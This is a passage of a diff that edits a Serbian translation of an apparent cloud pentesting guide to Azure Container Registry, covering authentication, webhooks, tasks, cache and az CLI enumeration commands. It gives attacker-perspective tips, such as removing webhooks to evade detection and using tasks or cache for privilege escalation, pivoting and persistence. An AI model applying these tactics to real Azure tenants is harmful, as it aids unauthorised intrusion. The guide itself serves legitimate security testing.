image-ova. Zatim će biti moguće **ulogovati se na registry** koristeći SP appId kao korisničko ime i generisani secret kao lozinku. -Primer script-a iz [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za generisanje SP sa access nad registry-jem: +Primer skripte iz [dokumentacije](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za generisanje SP-a sa pristupom registry-ju: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -49,41 +49,41 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app echo "Service principal ID: $USER_NAME" echo "Service principal password: $PASSWORD" ``` -### Encryption +### Enkripcija Samo **Premium SKU** podržava **encryption at rest** za slike i druge artefakte. -### Networking +### Umrežavanje -Samo **Premium SKU** podržava **private endpoints**. Ostali podržavaju samo **public access**. Public endpoint ima format `.azurecr.io`, a private endpoint ima format `.privatelink.azurecr.io`. Iz tog razloga, ime registry-ja mora biti jedinstveno u celom Azure-u. +Samo **Premium SKU** podržava **private endpoints**. Ostali podržavaju samo **public access**. Javni endpoint ima format `.azurecr.io`, a privatni endpoint ima format `.privatelink.azurecr.io`. Zbog toga ime registry-ja mora biti jedinstveno u celom Azure-u. ### Microsoft Defender for Cloud -Ovo vam omogućava da **scan the images** u registry-ju na **vulnerabilities**. +Ovo omogućava da **skenirate slike** u registry-ju radi otkrivanja **vulnerabilities**. ### Soft-delete -Funkcija **soft-delete** vam omogućava da **recover a deleted registry** u okviru naznačenog broja dana. Ova funkcija je **disabled by default**. +Funkcija **soft-delete** omogućava da **oporavite obrisani registry** u roku od navedenog broja dana. Ova funkcija je **podrazumevano onemogućena**. ### Webhooks -Moguće je **create webhooks** unutar registry-ja. U ovom webhook-u je potrebno navesti URL na koji će se **request** poslati svaki put kada se izvrši push ili delete akcija. Takođe, Webhooks mogu navesti scope kako bi označili repositories (images) na koje će se to odnositi. Na primer, 'foo:\*' znači događaje u okviru repository-ja 'foo'. +Moguće je **kreirati webhooks** unutar registry-ja. U ovom webhook-u potrebno je navesti URL na koji će **biti poslat zahtev svaki put kada se izvrši push ili delete akcija**. Osim toga, Webhooks mogu navesti scope kojim se određuju repozitorijumi (slike) na koje će to uticati. Na primer, `foo:*` označava događaje unutar repozitorijuma `foo`. -Iz perspektive napadača, korisno je ovo proveriti **pre nego što se izvrši bilo kakva akcija** u registry-ju, i po potrebi ga privremeno ukloniti, da bi se izbeglo otkrivanje. +Iz perspektive napadača, zanimljivo je proveriti ovo **pre izvršavanja bilo kakve akcije** u registry-ju i privremeno ga ukloniti ako je potrebno, kako bi se izbegla detekcija. ### Connected registries -Ovo u osnovi omogućava da se **mirror the images** iz jednog registry-ja u drugi, obično lociran on-premises. +Ovo u osnovi omogućava **mirroring slika** iz jednog registry-ja u drugi, koji se obično nalazi on-premises. -Ima 2 moda: **ReadOnly** i **ReadWrite**. U prvom, images se samo **pulled** iz source registry-ja, a u drugom se images takođe mogu **pushed** u source registry. +Ima 2 režima: **ReadOnly** i **ReadWrite**. U prvom režimu slike se samo **preuzimaju** iz izvornog registry-ja, dok u drugom režimu slike mogu biti i **poslate** u izvorni registry. -Da bi klijenti pristupili registry-ju iz Azure-a, **token** se generiše kada se koristi conected registry. +Da bi klijenti mogli da pristupe registry-ju iz Azure-a, generiše se **token** kada se koristi connected registry. ### Runs & Tasks -Runs & Tasks omogućava izvršavanje akcija vezanih za Azure container koje biste obično morali da radite lokalno ili u CI/CD pipeline-u. Na primer, možete **build, push, and run images in the registry**. +Runs & Tasks omogućava izvršavanje radnji povezanih sa Azure container-ima koje su obično potrebne lokalno ili u CI/CD pipeline-u. Na primer, možete **build-ovati, push-ovati i pokretati slike u registry-ju**. -Najlakši način da build-ujete i pokrenete container je korišćenjem običnog Run: +Najlakši način za build-ovanje i pokretanje container-a jeste korišćenje običnog Run-a: ```bash # Build echo "FROM mcr.microsoft.com/hello-world" > Dockerfile @@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f # Run az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null ``` -Međutim, to će pokrenuti runs koji nisu baš zanimljivi iz napadačke perspektive zato što nemaju nijednu attached managed identity. +Međutim, to će pokrenuti izvršavanja koja nisu naročito interesantna iz perspektive napadača, jer im nije pridružen nijedan managed identity. -Međutim, **tasks** mogu imati prikačenu **system i user managed identity**. Ti tasks su oni korisni za **escalate privileges** u containeru. U sekciji privileges escalation moguće je videti kako koristiti tasks za escalate privileges. +Međutim, **tasks** mogu imati pridružen **system and user managed identity**. To su **tasks** koji su korisni za **eskalaciju privilegija** u containeru. U odeljku o eskalaciji privilegija moguće je videti kako koristiti tasks za eskalaciju privilegija. ### Cache -Cache feature omogućava da se **download images from an external repository** i da se nove verzije sačuvaju u registry. Zahteva da budu podešeni neki **credentials** tako što se izaberu credentials iz Azure Vault. +Funkcija Cache omogućava **preuzimanje image-a iz eksternog repository-ja** i čuvanje novih verzija u registry-ju. Potrebno je da postoje **konfigurisani credentials**, tako što se credentials izaberu iz Azure Vault-a. -Ovo je veoma zanimljivo iz napadačke perspektive zato što omogućava da se **pivot to an external platform** ako napadač ima dovoljno permissions da pristupi credentials, **download images from an external repository** i konfigurisanje cache-a takođe može da se koristi kao **persistence mechanism**. +Ovo je veoma interesantno iz perspektive napadača, jer omogućava **pivotovanje na eksternu platformu** ako napadač ima dovoljno dozvola za pristup credentials-ima. **Preuzimanje image-a iz eksternog repository-ja** i konfigurisanje Cache-a takođe može biti iskorišćeno kao **mehanizam persistence-a**. -## Enumeration +## Enumeracija > [!WARNING] -> Veoma je važno da čak i ako registry name sadrži neka velika slova, za pristup preko url-a treba koristiti samo mala slova. +> Veoma je važno da, čak i ako naziv registry-ja sadrži velika slova, u URL-u za pristup treba koristiti samo mala slova. ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -143,18 +143,22 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` -## Neautorizovan pristup +## Neautentifikovani pristup {{#ref}} ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md {{#endref}} -## Eskalacija privilegija i post eksploatacija +## Privilege Escalation & Post Exploitation {{#ref}} ../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} +{{#ref}} +../az-post-exploitation/az-container-registry-post-exploitation.md +{{#endref}} + ## Reference - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)